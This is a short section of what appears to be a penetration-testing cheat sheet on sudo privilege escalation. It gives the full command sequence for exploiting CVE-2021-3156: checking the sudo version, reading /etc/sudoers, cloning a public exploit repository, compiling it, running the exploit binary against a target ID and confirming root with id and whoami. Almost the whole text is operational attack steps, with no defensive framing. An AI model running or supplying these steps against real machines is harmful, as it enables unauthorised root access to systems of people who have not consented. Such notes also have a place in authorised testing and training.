22. SUDO
Check sudo version
sudo -V | head -n1Check sudoers file (excluding comments and empty lines)
sudo cat /etc/sudoers | grep -v "#" | sed -r '/^\s*$/d'Check OS version
cat /etc/lsb-release # or cat /etc/os-releaseClone exploit
git clone https://github.com/blasty/CVE-2021-3156.git
cd CVE-2021-3156Compile exploit
makeRun exploit (replace <target_id> with the appropriate target ID)
./sudo-hax-me-a-sandwich <target_id>Verify root access
id
whoamiCheck sudo privileges
Check user ID (if needed)
Run command as root
Verify root access
Last updated